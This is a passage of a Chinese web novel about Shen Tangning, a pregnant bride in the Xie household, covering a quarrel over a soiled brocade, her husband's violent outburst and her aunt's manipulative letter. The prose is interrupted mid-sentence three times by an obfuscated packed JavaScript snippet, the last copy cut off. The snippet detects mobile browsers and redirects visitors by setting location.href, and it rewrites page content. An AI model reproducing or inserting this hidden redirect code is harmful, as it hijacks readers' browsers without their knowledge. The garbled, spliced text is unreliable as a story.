韶音指着揽月鼻子骂道:“原本姑娘和他在屋里说话好好儿的,都是你进去了才惹恼了他!你还好意思在这里责怪姑娘不尽心,你既然这么喜欢他,怎么不说香囊是你自己做给他的,扯我们姑娘什么干系!” 揽月脸一阵红一阵白。 早在沈棠宁及笄之后,郭氏便四处物色美貌的丫鬟,除了沈棠宁自己的两个大丫鬟,另外送了四个环肥燕瘦的美人,四个丫鬟中,当属揽月最美。 沈棠宁生得妩媚娇艳,揽月的样貌便清秀可人,为的就是准备等侄女身子不方便的时候,将这些丫鬟挑出来开脸当通房丫鬟固宠。 沈棠宁的前未婚夫萧砚丰神俊朗,仪表堂堂,如今的这个更是龙章凤姿,英武不羁,是女孩子们最喜欢的类型。 前面的那个除了沈棠宁眼中再容不下旁人,这个说不准还有机会,揽月想给自己谋条出路,若是沈棠宁成了弃妇,她岂不是一辈子都要跟着她受苦! 沈棠宁对几个丫鬟素来宽厚,揽月见她这样心里也不舒服,走到床前认错道:“我知道我原不该自作主张,但是姑娘你如今不抓住机会,外面多少人都争着抢着想当世子的姨娘?便是白日里见过的那位冯表姑娘,我就听说以前太夫人还在世时总想把她许配给世子做小妾,后来太夫人去世了,这事才不了了之。” 揽月长长地叹了一口气,“姑娘,打从先侯爷过世后沈家就没落了,侯爷自小对您视若己出,你就是不为自己,也要为沈家多打算打算啊,沈家还要靠着你和肚子里的这个孩子,咱们眼皮子不能这样浅。” “世子爷现在不喜欢你,不代表以后不会喜欢,从前那些男人们,哪个见了你不像猫儿见了鱼鲜饭一般痴迷,你多抓住机会向他示好,以你的美貌和性情抓住世子的心那还不是易如反掌吗……” 揽月对沈棠宁很有信心,在她眼中,就没有沈棠宁勾不住的男人,反正至少她没见到过。 沈棠宁不说话,只垂眼望着手边帐上两条交缠的枝蔓,神色无悲无喜。 揽月心下一沉,模模糊糊有个想法,她忍不住说道:“姑娘,你该不会心里还想着那个忠毅侯吧?你可别忘了,当初萧家人是如何到普济寺和沈家闹了个天翻地覆!” 沈棠宁平静的面容像是突然裂开了一道缝隙,极轻极细微地。 俄而,她转过身去,闭目道:“我累了,你们都出去吧。” 7. 第 7 章 深夜,沈棠宁辗转反侧,难以成眠。 迷迷糊糊间,她好像又梦见了萧砚。 那日,清风朗月,天色已晚了,萧砚抱着一把琴,站在普济寺后山的一棵苍松下等她。 那是他们从前时常约见的地方。 他说要送她一把绝世名琴,还说名琴配美人,只有绝世名琴方能配得上她。 她提着裙摆姗姗来迟,犹豫着不知如何开口,他已似若有所感地转过身。 一阵微风吹来,翠叶何纷纷,他便穿着一身青衣立在其间,露水沾湿他的衣角发梢,他忽地笑了起来,笑意仍是那么地温润清俊。 绿竹猗猗,其叶蓁蓁。 他微笑着向她走过来。 然而她的手还未触到他,眼前景象却忽然在一瞬之间土崩瓦解。 她踉跄着向后退去,再望向他时,眼前的萧砚却换了一副模样,他满脸憔悴痛苦,下巴长了一层青色的胡茬,双目血丝遍布,死死地盯着她,一遍又一遍地问,“告诉我,为什么,为什么?” “我究竟哪里比不上谢临远,家世,还是权势?” “团儿,不要退亲。” 他紧紧地拉着她手腕,哀求。 她同样心如刀绞,愧疚难言,却只能背对着他,将他的手指狠心一根根地掰开,故作无情地道:“没有为什么,我本就是这样的女子。” “仲昀,以后,你不要再来找我了。” …… 醒时泪水沾湿满枕,沈棠宁怔怔地望着头顶的承尘 夜已深,窗外不知何时飘落起一簇簇的细雪。 更漏声一点一滴,无声到天明。 - 谢瞻那夜自寻春小榭离开后,揽月便多了个心眼,琢磨着找个机会写封信给平宁侯夫人郭氏,她是劝不了沈棠宁,还得让郭氏来劝。 不久,沈棠宁病愈。 她一连病了八.九日,今日总算有了些精神,恰巧手中的大字经书也抄写完毕,早晨便特意起了个早,去如意馆给王氏请安。 王氏翻看着她送来的经书,心里暗暗惊奇新妇的体贴入微,连从小抚养长大的儿女都没察觉到她近来看书吃力,沈棠宁不过才嫁来几日,竟有这样察言观色的心思。 “劳你在病中还想着我,不过以后千万别做这个了,劳心费神,要仔细将养身子才是。” 王氏再看向沈棠宁时,笑容里便多了几分温和与探究。 说实话,郭氏那等蠢妇王氏是深深憎恶的,这种亲家,不要也罢。 不过大约是人对于美丽的事物总会抱有美好的期待,不忍心去苛责,譬如沈棠宁,她若真是个如郭氏那般嚣张跋扈的性子便罢了,王氏必定得使些狠辣手段好好治治她,磋磨她身上的那些习气,偏偏她又是那样温柔安静的性子。 暂且不知是真是假,不管旁人如何说,人到底已经嫁了进来,腹中还怀着谢瞻的骨肉,王氏始终认为家和万事兴,就算沈棠宁以前真的做过糊涂事,她也希望她嫁进谢家之后能改过自新,毕竟人非圣贤,孰能无过。 她这个儿媳自幼失怙,母亲柔弱,平宁侯夫妇又是一番小人嘴脸,教养出的孩子没长歪已是大幸。 两人寒暄几句,王氏招呼丫鬟们抱着几匹颜色鲜亮的绫罗锦缎进来。 “今日你来得倒巧,我刚从库房里挑选了这几块尺头,打算给各房分过去,你瞧瞧有没有喜欢的,留下让绣娘给你做几身冬衣穿。” 说话间一排尺头便并排排到了沈棠宁的面前,这些布料单看质地柔软光亮,花色样式独特,许多沈棠宁连见都没见过。 谢家不愧是豪门,连随便一件做冬衣的布料都是万里挑一的贡品,沈棠宁不敢多看,垂头轻声道:“蒙母亲垂爱,我是新嫁妇,不挑衣服穿,还是先让姑娘们和诸位婶婶们先挑,我随便挑一块就好。” 王氏说道:“咱们是长房,长房先挑是规矩,谁敢置喙。” 沈棠宁又说母亲为家操劳,小姑活泼美貌,她则整日里窝在寻春小榭闭门不出,恐浪费好料子,理应王氏和谢嘉妤先挑。 两人推辞良久,王氏直接说她和谢嘉妤已经挑过了,坚持让沈棠宁赶紧挑。 沈棠宁知道大约是新妇宴那日有人嘲笑她穿陈年料子被王氏记在心里了,她既是世子夫人,便代表了长房的颜面,不能给王氏丢脸。 遂不再推辞,只从中选了块颜色和布料都最不起眼的。担心再说下去碰见来给王氏请安的谢瞻,沈棠宁眼神一直看向屋门。 那天谢瞻从寻春小榭离开后沈棠宁就再没见过他,回回见他都要起争执,沈棠宁不想招惹是非,挑完料子后就借口有事匆匆离开了。 - 前些时日京都下了场大雪,满城银装素索,随后温度显见地冷了下来,呵气成雾。 冯茹领着个小丫鬟,小丫鬟手里拎着只食盒,搓着手往静思院的方向走。 冯茹跟静思院的小厮套近乎,打探到谢瞻每天的生活很规律,没有朔望朝和常朝会的时候,他每日会在寅正时分起床,寅正两刻到小校场射箭练武,练大约半个时辰,半个时辰后回院里,再洗漱更衣用早膳。 眼下正是卯时,太阳还没出来,府里刚掌灯。 冯茹又冷又困,眼皮子上下打架,以最快的速度赶到了小校场。 功夫不负有心人,她没来晚,来的还正是时候。 谢瞻刚练完武,赤着上半身从小校场上下来,一阵寒风吹来,冯茹浑身直打哆嗦,谢瞻竟面色丝毫不改,背着身用汗巾子擦着身上的汗。 冯茹在府上住了七八年,谢瞻不常回家,回家通常也待不了几日便会离开,冯茹是眼睁睁看着谢瞻从美如冠玉的少年郎长成了英姿勃发又高大俊美的男人。 在京都住了半年多,又不大晒太阳,谢瞻皮肤养的白了些,这会儿刚练完武的缘故,周身热气腾腾,散发着一股淡淡的汗味和男人身上独有的浓烈气息。 除了瑞脑香,其它的说不上是什么味道,但闻着却叫人手足无力,呼吸困难似的。 谢瞻身形伟岸,足有七尺,宽肩窄腰,站在那里好似一座沉稳结实的小山,他常年习武,身上的每一寸肌理都磨炼地恰到好处,既没有寻常粗使小厮那壮硕到吓人的尺寸,穿衣显得人高大挺拔,脱掉衣服又是这样地健美有力。 冯茹走到谢瞻的背后,突然觉得,表哥脱了衣服比穿着衣服更好看,直看得一阵脸红心跳,口干舌燥,身上也不觉困冷了。 谢瞻瞥见背后走过来一个陌生女子,身上散发着一股浓烈的脂粉气,以为是哪个院的丫鬟,皱眉避开她,接过安成手里的干巾子继续擦汗。 冯茹却极没眼力见儿地走到了谢瞻面前,羞涩道:“表哥,你每天晨练都很辛苦,我,我一早给你下厨做了早膳,有芋粉团和笋汁裙带面,都是你爱吃的口味。” 晶亮的汗水沿男人宽阔的双肩和块垒分明的腰腹一路滚,伴随着他的呼吸一起一伏,滚进冯茹不敢多看裤腰深处。 冯茹脸更加红了,却不舍得移开自己的眼睛。 谢瞻胡乱擦完了汗,披衣往外走,见她还直勾勾地盯着他走,面无表情问:“哪个房的?” 冯茹呆了下,这是问她是谁? 她有些纳闷,心道莫非是天太黑了? 谢瞻长得太高,她害羞地抬起脸,叫谢瞻辨认她。 谢瞻低头看了她一眼,旋即把汗巾子扔给身后的安成,冷冷地丢下一句话。 “滚,以后别来烦我!” …… 冯茹大哭着跑回了屋里,哭得上气不接下气。 呜呜,这才多久没见,表哥竟然不认得她了,不认得她了! 常令瑶性格跋扈娇纵,不准冯茹接近谢瞻,谢家和常家的婚事黄了以后,她才敢悄悄地接近谢嘉妤,打听些谢瞻的事情。 从前姑祖母还常拉着她的手叫她给瞻表哥打络子,没想到太夫人才去世多久的功夫,表哥就连她什么模样都不记得了! 姨母四夫人平日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409415|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里对她不冷不热的,冯茹在府中无所依靠,谢瞻厌恶沈氏,她再不为自己争取,就要被姨母随便打发着嫁了。 冯茹悒郁极了,想去寻谢嘉妤诉苦,谢嘉妤心里也正不痛快着。 谢嘉妤一早去了一个小姐妹家吃茶,回来的时候才发现王氏把做冬衣的尺头都分给各房做衣服了,留给她的都是别人挑剩下的料子。 王氏掌家素来公允,绝不偏袒任何人,尤其是自己的一双儿女,每回分好东西谢嘉妤这个长房大小姐分到的都是别人剩下的。 她的丫鬟蝶香打听连沈棠宁都分了一匹的湖绿色的妆花遍地金缎和一匹月白色的织金穿花改机,谢嘉妤却只能分到两匹花色老旧的彩锻,很不开心。 冯茹想到白日里看到沈棠宁的丫鬟手中抱着的那两匹尺头,计上心来,笑眯眯道:“我记得卫世子上回还说最喜欢看阿妤妹妹穿青绿二色的衣物,衬得你人更素净雅致,冬天姊妹们都穿厚重的衣物,颜色越亮显得身材越臃肿,穿素色的反而别具一格,在人群中亭亭玉立,不如阿妤你找别的姐妹换一下,大家都是亲姐妹,只要别让夫人了,每回都是你让她们,她们合该也让你一回才对。” 谢嘉妤被说得心动了,“真的,那我找谁换好?” 寻春小榭。 抱厦里,锦书责备韶音,“你真是不仔细,刚拿回来的尺头就被你弄脏,怎么跟姑娘和夫人交代?” 韶音忙摇着锦书的衣袖求情,“我错了好姐姐,你别告诉姑娘,我保证把这匹尺头洗得干干净净!” 沈棠宁怀孕后口味刁钻,但凡闻到味重些的就会头晕恶心,晌午膳房给送来的香糟鸭香料放多了,沈棠宁闻得作呕。 韶音嘴馋,把香糟鸭偷偷端到抱厦来吃,还没吃完就出去做事情,哪想到放在条案上准备熨烫的两匹尺头不小心滚动了,其中一匹正巧就滚撞到韶音吃剩下的香糟鸭上。 等韶音发现时,那匹湖绿色的妆花遍地金缎上已经沾了油污。 幸好发现得早,裁衣的绣娘明天才过来取布料,韶音有经验,应该能洗干净,赶紧准备去打水清洗,出门看见谢嘉妤和冯茹一前一后地走进了小院。 谢嘉妤走进屋后自顾自地坐下,招呼都不打一声,开门见山道:“我听说我娘早晨赐了你两匹尺头,我想和你换一匹,我小库房里有不少还没裁的缎子,随你挑选,你看如何?” 早上请安时王氏和沈棠宁说谢嘉妤和她已经挑选过,沈棠宁本以为自己挑的两匹已经够不起眼了,没想到还是拿走了谢嘉妤想要的。 “自然可以,我不大出门,穿什么样的衣服都不打紧,四姑娘喜欢哪匹拿哪匹就成。” 沈棠宁吩咐韶音去把两匹尺头都取出来。 谢嘉妤觉得沈棠宁还不算小气,高傲地昂着头道:“我可不是有意来抢你的东西,你若不愿意就和我直说,我谢嘉妤不缺这匹尺头。” 沈棠宁只是笑了笑。 谁知锦书只抱过来一匹,谢嘉妤翻了翻就丢到一边去,她不感兴趣。 “这匹太素了,我想要那匹湖绿色的妆花缎,你去给我拿过来。” 这…… 锦书和韶音对视一眼,面露为难。 “去拿过来吧。”沈棠宁轻声说。 过了片刻,韶音磨磨蹭蹭地抱着那匹妆花缎走了进来,支吾道:“世子夫人,这匹尺头,怕是,怕是不能给四姑娘了。” “有什么不能给的,你这不是都拿过来了!” 冯茹上前想接过来,不想韶音竟死死地抱着不肯撒手,两相争夺间,愣是费了她好一番劲才从韶音手里“夺”过来。 谢嘉妤探过头去。 冯茹不晓得看到什么,突然尖叫一声拍着自己的衣袖,把尺头扔到地上,嫌恶得擦着自己的手。 “啊——这匹缎子怎脏成这样,你什么意思,你是不是故意的!” 尺头滚落到地上,蝶香赶忙捡起来展开一看,大吃一惊。 这尺头怎的脏成了这样! 8. 第 8 章 沈棠宁看到那匹妆花缎上的污渍时,心下一沉。 冯茹眼一瞪,已经指着韶音责怪了起来,“我说你为何总不肯把这匹尺头给我,你究竟安的什么心,你知不知道我身上这身衣服是前些时日新做的,你现在给我弄脏了怎么赔!知道的骂你两句不仔细,不知道的,还以为你是故意不想把这匹妆花缎给四姑娘!” 说罢抹了抹泪眼,扭头对谢嘉妤道:“阿妤妹妹,幸好是我先帮你拿了过来,不然你身上那身衣裳比我身上的还要金贵,万一弄脏了可如何是好!” 谢嘉妤果然脸色愈发难看,冯茹这番话的意思,就差指着沈棠宁的鼻子说她是故意戏弄她了! 韶音自知闯下大祸,忙扑通一声跪到地上道:“是奴婢的错,是奴婢弄脏了这匹妆花缎,和世子夫人没有关系,求四姑娘处罚奴婢,奴婢愿一力承担!” 谢嘉妤猛地站起来,闪着怒意的凤眼瞪向沈棠宁,“沈氏,你不想给我料子,大可以直说,何必在那儿装好人,与你的婢女演这么一出戏?难道我堂堂谢家四小姐还会抢你这世子夫人的衣服穿不成!” 沈棠宁解释道:“四姑娘误会了,我并没有故意弄脏料子,韶音是我的丫鬟,我清楚她也绝非有意弄脏这匹妆花缎,这段时日我在院中一直深居简出,衣料再光鲜我也穿不出去见人。” “何况自我嫁进谢家来夫人对我百般体贴照料,我感激她尚来不及,姑娘是我的小姑,我又岂会故意为难你,使你难堪?” 冯茹在一旁嘀咕道:“那这世上怎会有这样巧的事情,偏就嘉妤喜欢的这匹尺头你给弄脏了?” 本来冯茹撺掇谢嘉妤来找沈棠宁换尺头便没安好心,一来她想借此探探沈棠宁的虚实,若沈棠宁答应了,就叫她吃个屈,若沈棠宁不答应,正好挑唆得两人闹一场。 谢嘉妤这人呢,你光明正大和她叫板她反倒高看你一眼,你若表面上与她和气,背地里给她添堵,反而惹她厌恶。 冯茹心道自己果然没猜错,这沈氏的心眼儿真是不少。 谢嘉妤指着沈棠宁道:“从第一眼见你,我就知道你不是个安分的女人,貌若天仙,心如蛇蝎,你若想欺负我就堂堂正正地欺负,我谢嘉妤不怕你,用不着遮遮掩掩,小人行径!” 如意馆里,王氏处理完了一天的事务正躺在贵妃榻上休息,女儿谢嘉妤忽然从屋外冲进来,一头扎进她的怀里呜呜大哭起来。 王氏忙抱住女儿柔声问:“怎么了阿妤,是谁欺负你了?” 谢嘉妤单哭不说话,蝶香连忙把事情来龙去脉解释一遍。 王氏眉头皱起,谢嘉妤一面哭一面拽着王氏的衣袖撒娇。 “娘,你会不会有了十二郎就不要女儿了,你会不会,会不会?” 王氏用帕子擦干女儿面上的泪,“我把你养这么大,怎么会不要你?以后不准再瞎说,你和十二郎都是娘的心肝宝贝,娘不疼你疼谁?” “可是沈氏她欺负我,您要为女儿做主!” 王氏头疼,“你是不是多想了,沈氏她一个新妇为何要欺负你?” “她……她!” 谢嘉妤涨红了脸。 肯定是敬茶那日,她把沈棠宁敬给王氏的温茶换热茶烫她手的事儿被她知道了呗! 虽然谢嘉妤不清楚她是怎么猜到的,但她绝不忍下这口气,“还不是因为我先前看不过眼,说了她几句,她定是心中不忿,又见娘您什么好的香的都紧着她,尾巴翘到天上去了,连我都敢欺负起来了!” “谁欺负你了?” 母女俩正说着,谢瞻打帘走了进来。 谢嘉妤大喜,忙上前抱着谢瞻的胳膊诉苦:“……她当我是傻子吗,我一找她借尺头,那尺头早不脏晚不脏,偏偏我去找她借的时候脏了,她不想借直说便是了,你说不是故意的是什么!” “她就是仗着自己肚子里有货,有意给我难堪,还假惺惺地说自己不是有意的,你是没瞧见她当时那个装无辜的样子,都是女人,我难道还能看不出来?我最烦她这种人了,面上笑着恭维你,其实口蜜腹剑,一肚子坏水!” 谢瞻转身走了。 “哥哥你去哪儿!” 谢嘉妤在背后大声叫道。 谢瞻到寻春小榭的时候,沈棠宁正吩咐韶音和锦书去准备皂荚、砂糖、草木灰,以及热水。 桌上,一盆加了草木灰的热水冒着腾腾热气,沈棠宁用襻膊将衣袖束起,在脖颈处系好,将手伸入热水中,轻轻搓洗着妆花缎的油污处。 两个大丫鬟垂头丧气地站在一边。 院子里传来骚乱声,锦书迟疑地想出去看看,刚走到门口冷不防屋门被人从外一脚踢开。 锦书惊恐地后退,大喊:“姑娘,姑娘!” 谢瞻手里提着把足有成年男人一臂长的佩剑,脸上仿佛罩了层寒霜,气势汹汹,径直就朝沈棠宁大步走了过去。 谢瞻周身带着浓重的煞气,一双手不知道杀过多少的人,流过多少血,经年累月才形成的气势,像那来自地狱里的阎罗,叫人看一眼便禁不住胆战心惊。 沈棠宁扭头一看,心猛然一跳。 说不害怕那是假的,发现自己想后退时已经来不及了,她的身后是桌子。 她颤抖着,闭上双眼。 谢瞻向着她的身后劈去。 “咣当”一声巨响,半人高的方桌在丫鬟们的尖叫声中裂成了两截,热水和草木灰混着洒了一地。 谢瞻毫不怜香惜玉地抓住沈棠宁的手腕,将她拖着一路拽到墙上。 “我是不是警告过你要安分守己,不许接近我谢家人,你把我的话当成耳旁风,是不是觉得我不能拿你怎么样?!” 沈棠宁被他钳得手臂几欲断掉,踉跄几下,另一只手忙紧紧护住自己的腹,忍痛道:“我没有,我不知道你在说什么,没有做过的事情我不会认!” 她挣不开,索性抬起头,倔强地看向谢瞻。 两人挨得极近,彼此间呼吸可闻。 她的发间泛着淡淡的幽香,一双清凌凌的杏眼里分明流露出委屈与恐惧,也倒映着谢瞻那张阴沉愤怒的俊脸,却依旧一眨不眨,毫不退让地瞪着他。 “我冤枉你?”谢瞻冷笑:“我还没说什么,你倒会恶人先告状!嘉妤与你无冤无仇,她难道会凭空捏造罪名冤枉你?” 他又逼近一寸,棱角分明的脸庞近在咫尺,扑面而来的压迫感和陌生男人气息,沈棠宁忍不住偏过脸去,强作镇定道:“我,我并未说是嘉妤冤枉我,的确是我弄脏料子有错在先,可那只是个意外,我不是有意骗她,更没有想挑衅你的意思。” “我清楚自己在谢家的身份,若我真的想故意给嘉妤难堪,那不过是自取其辱,何必如此?” “你倒是有自知之明。”谢瞻讥诮道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409416|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “世子,我只想把孩子安稳地生下来,没有想招惹是非,请你相信我。这个孩子,它也是你的孩子……” 沈棠宁话说到最后,声音愈发柔缓,已是带了几分软语相求的意味。 “满口谎言,你还好意思提孩子?沈氏,你莫以为夫人会偏袒你,看在你腹中孩子的面上不了了之,当初你千方百计嫁进谢家,应该也不想孩子都没生下来就被赶回娘家,你心里那点盘算,我一清二楚,从今往后,别妄想在我面前耍心机!” 顿了顿,往下冷冷瞥一眼,“还有你的美人计,我说过我不吃你这一套,你若再敢……” 谢瞻说着突然停下,脸色发僵。 因为沈棠宁的身子在不停地下坠,几乎半靠在了他的身上,从他的角度,可以看见她颈上系着一根朱色的襻膊,鬓发散乱,几缕落下的青丝缠绕在襻膊的带间,露出两条雪白的藕臂。 一只被他胡乱地抓在手中,竟比他手腕还有细上许多,指腹陷进肉里,柔若无骨似的滑腻柔软。 另一只,攥着他的衣襟按在他的胸口上。 “你装什么,松手!” 谢瞻去扯她攥着他衣襟的手。 她的手也像没有骨头似的,凉凉的,很软,一扯就扯了下来。 沈棠宁阖着双眼,睫毛长长地垂下,面色苍白若纸,身子向后倒去。 谢瞻一愣,立即伸臂扶住她的腰,将她打横抱起,几步抱到内室的床上,试探她的鼻息。 她竟是真晕了过去,脸色煞白,呼吸微弱。 很快府医匆忙赶了过来。 襻膊已经放了下来,府医隔着帐子给沈棠宁把脉,舒了口气道:“世子夫人大病初愈,内里虚弱,肝气郁结,又似受了惊吓,情绪大起大落,心脾失调,往后需得注意。” 府医絮絮说着,去了一旁写方子,给沈棠宁开些孕妇可用的安神汤。 沈棠宁这会儿稍微清醒了过来,略略掀开眼皮。 谢瞻站在床边,她看不清他的表情,只能看到他薄唇抿得紧紧地,俯视着她。 沈棠宁实在倦极,闭目沉沉睡了过去。 …… 谢嘉妤坐在静思院的美人靠上等谢瞻。 谢瞻回来的时候,她急忙奔上前哥哥长哥哥短,迫不及待问他:“哥哥,沈氏怎么说,她什么时候来给我道歉?” 叽叽喳喳吵得像只喜鹊,谢瞻不耐地甩开她的手。 谢嘉妤被他落下,心里有些委屈,忙又跟进屋里道:“哥哥,你不是去给我讨公道了吗,沈氏肯定不敢给你脸色瞧,她到底是怎么说的啊?” “谢嘉妤,你整日里除了为这些首饰破布争风吃醋,还会做什么?” 谢瞻心情郁闷,态度也很差,一张口就训斥她,吓呆了谢嘉妤。 不是,这原本应该对着沈棠宁的气,怎么好像撒到了她身上…… “穿什么不一样,别人家的姑娘整天大门不出二门不迈在房里绣花,你只会出门惹事,滚出去,别来烦我!” 谢嘉妤抖了抖,眼泪在眼圈里打转。 谢瞻敬重王氏,却不代表会对她这个妹妹好声好气。 他常年离家,就算回家兄妹几个也不常相处,谢嘉妤倒是想向谢瞻撒娇,奈何兄长就是个硬梆梆的石头墩子,压根不吃这一套。 谢嘉妤还是很怕这个大她七岁的兄长,不敢再问,缩着脑袋滚出去了。 9. 第 9 章 沈棠宁睡了一夜起来,精神好了许多,脸色却依旧很是苍白。 她天生肌肤娇嫩,手腕被谢瞻捏得青一块紫一块,因怀着身子不便使些活血化瘀的药油,锦书早晚就用两只热热的熟鸡蛋替她按揉在手腕上的伤患处。 王氏听说昨晚沈棠宁叫了府医,打发秦嬷嬷过来问过了,沈棠宁只说自己是身子不舒服才叫了府医,没提是被谢瞻吓得,过了会儿秦嬷嬷便从库房挑了好些滋补气血的药拿过来给她吃着。 幸好昨夜谢瞻只是把水盆和桌子劈坏了,那妆花缎幸存了下来,秦嬷嬷来时室内狼藉已经尽数清理,她也并未多问什么。 送走了秦嬷嬷,沈棠宁喝了一碗燕窝,不太饿了,她就让锦书韶音依旧把昨晚准备的物什再抬过来,亲自给谢嘉妤洗妆花缎。 妆花缎料子轻薄珍贵,不宜见光暴晒,洗净后需晾到窗下阴凉处风干。 等风干完毕再用火斗隔水熨烫平整,这一整日的时间就过去了,第二天沈棠宁亲自将妆花缎用油布里三层外三层包起来送到谢嘉妤住的朗月轩。 谢嘉妤一听是沈棠宁来送东西了,生气不见,让蝶香立即把人打发了。 不久蝶香抱着一团油布进来,打开油布一看,里面装的竟是一匹簇新的妆花缎! 湖绿色清透素净的缎面上,一朵朵金色的缠枝梅花熠熠生辉,宛如洒下遍地金箔般耀眼。 蝶香惊叹道:“姑娘,这完全是一匹新的妆花缎!可是世子夫人从哪里寻来一匹一模一样的缎子呢?” 谢嘉妤同样吃惊且疑惑,暗想看来是哥哥那日去找她管用了。 哼,算她识相! 不管怎么说,沈棠宁向她低头道了歉,还奉上一匹干净崭新的缎子,谢嘉妤心里舒坦多了。 她不想欠沈棠宁的,当即使蝶香去自己的小库房另挑了匹花色的锦缎给寻春小榭送去。 - 捻指又过了七八日,绣房把做好的冬衣给各房分发了下去。 锦书和韶音整理着管事媳妇送来的冬衣,一件月白色凤尾菊花对襟比甲,一条白纱银线镶边裙,另外两件用谢嘉妤给的粉色锦缎做成厚厚的夹袄,并王氏额外吩咐人送来的一件银鼠皮软毛披风、两身寝衣。 衣服的腹部处都做的稍大了些,大约是怕沈棠宁过些时日肚皮鼓起来穿不上。 就连她们几个陪嫁过来的丫鬟每人也都得了新做的冬衣,衣服裁做的不肥不瘦正好,料子更是柔软,摸起来可比从前沈府订做的那些衣服不知好了多少倍。 两个丫鬟捧着漂亮的新衣高兴怀了,围在一起大声争论着什么时候穿哪件。 除了收到新作的冬衣之外,沈棠宁还收到了叔母郭氏托人给她捎进府的信。 她走到里间把信打开,脸色渐渐凝重。 上回揽月借口出门去市肆给她添置日用,实则是偷偷跑回了平宁侯府。 郭氏听了揽月传回来的话很不悦,担心沈棠宁怀孕的这几个月伺候不了谢瞻失宠,谢瞻恋上旁人,便寻空置了个匣子,差府里的婆子偷偷给她送了进来。 匣子里面有郭氏写给她的信,信上无非督促她讨好谢瞻,莫要失宠,即使有孕也要想方设法笼络住夫君的心,否则她母亲那里自己可能就不大“尽心”了。 也不知郭氏哪里来的底气,觉着她会失宠,她有过宠吗? 不过郭氏一向是懂得如何拿捏沈棠宁。 当年沈棠宁的父亲沈弘彰为国捐躯后,沈棠宁的母亲温氏夜里时常啼哭,渐渐眼睛就看不清了。 后来温氏便深居简出,独居在沈家西府的小院里不大出门,只是体弱多病,三五不时地就要吃药看大夫。 郭氏以前常常抱怨她们母女两人是药罐子,吃垮了沈家。 沈棠宁小时候便觉得对不住叔父,为此节衣缩食,堂堂侯府嫡女竟然要为了生计筹谋,闲时不是抄书便是做绣品,日子过得精打细算。 她刚出生时便随了温氏身有不足之症,体弱多病,幼时长得面黄肌瘦——说难听些就是长得丑。 身体底子不好,常爱生些小毛病,身上总是带着一股药味,家里的姐妹都笑话她是个丑药罐子,她满不在乎。 因为那时父亲尚在人世,哥哥也没走丢,一家人其乐融融,爹娘兄长都将她视作掌中明珠,就像谢嘉妤那样被娇纵疼爱,她并不在意自己容貌的妍媸美丑。 后来哥哥沈连州被拍花子拐走,从此杳无音讯,父亲又在她七岁时战死沙场,家中只剩下她与娘亲相依为命。 郭氏刻薄寡恩,将她和温氏逐到西府,平日多有责骂,叔父每有心帮衬,郭氏便哭诉家贫,还要给堂妹芳容积攒嫁妆,为了给她娘俩看病这些年沈家家底子都掏空了。 温氏眼睛落下病根,郭氏随意请了大夫打发了事,自那之后温氏眼睛便失明了,再看不见任何东西。 一直等沈棠宁长到十一、二岁的年纪,身段抽条,乌发云鬓,脸上的黄色逐渐褪去,露出桃花一般娇艳的颜色,和家里几个弟弟妹妹站在一处,更是光彩夺目,漂亮得根本不像沈家人。 她专挑着爹娘的优点长,既有父亲沈弘彰的周正端庄,眉眼间又带着母亲温氏女儿家的温婉柔媚。 古怪的是她分明自幼体质单弱,看着像活不长的模样,郭氏偶有一次为沈棠宁算了一卦,观里的老真人竟说沈棠宁将来是要嫁入豪门,大富大贵的命数。 郭氏狂喜,认为沈家即将发达,从那之后便将沈棠宁视作眼珠子,千娇百宠。 其实不过是教她如何去逢迎男人,攀附高门。 郭氏常拉着沈棠宁的手抹泪,“团姐儿,你爹死的时候心心念念的就是你和你娘,叔母这样不光是为了给你找个好人家,也是为了咱们侯府啊!你爹为国劳心劳力,末了死了竟只得了几百两银子的抚恤,连你和芳容的嫁妆钱都不够,你叔父和堂兄没本事,我不想看着你爹好不容易撑起的门庭败在他们手里啊!” 所以沈棠宁明知叔母利用,却也只能无奈地任由她摆布。 直到后来她有了身孕,郭氏心里想的只有权势富贵,在谢家百般纠缠,丝毫不顾嫁进来之后她的颜面何存。 但她与谢瞻珠胎暗结之事,沈棠宁现在并不能完全确定便是郭氏一手指使人散布出去的。 毕竟一旦她的名声毁了,即使嫁入镇国公府,芳容和沈家女儿们的名声也跟着毁了,那厢常家却不见得就会退婚,得不偿失。 事已至此,沈棠宁也不想再追究当初孰是孰非。 郭氏心里根本就没有把她当成侄女,把娘视作大嫂。 只要温氏还住在沈家一日,她难免深受掣肘,连和离都不能随心所欲。 然而她到底姓沈,温氏与沈弘彰生前伉俪情深,只怕也不愿离了住了十几年的家…… 沈棠宁娥眉颦蹙,心事重重,将信收了起来。 随信的匣子里还有两本封皮上无字的书,沈棠宁随手打开其中一本,画中女子大腹便便,与一男子并肩叠股,相戏为乐,画面不堪入目,竟是本教女子如何在孕期与男子行欢的淫.书! 沈棠宁脸腾得烧了起来,忙扔了手里的书,放进匣子里胡乱收了,藏到架子床底下。 郭氏给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 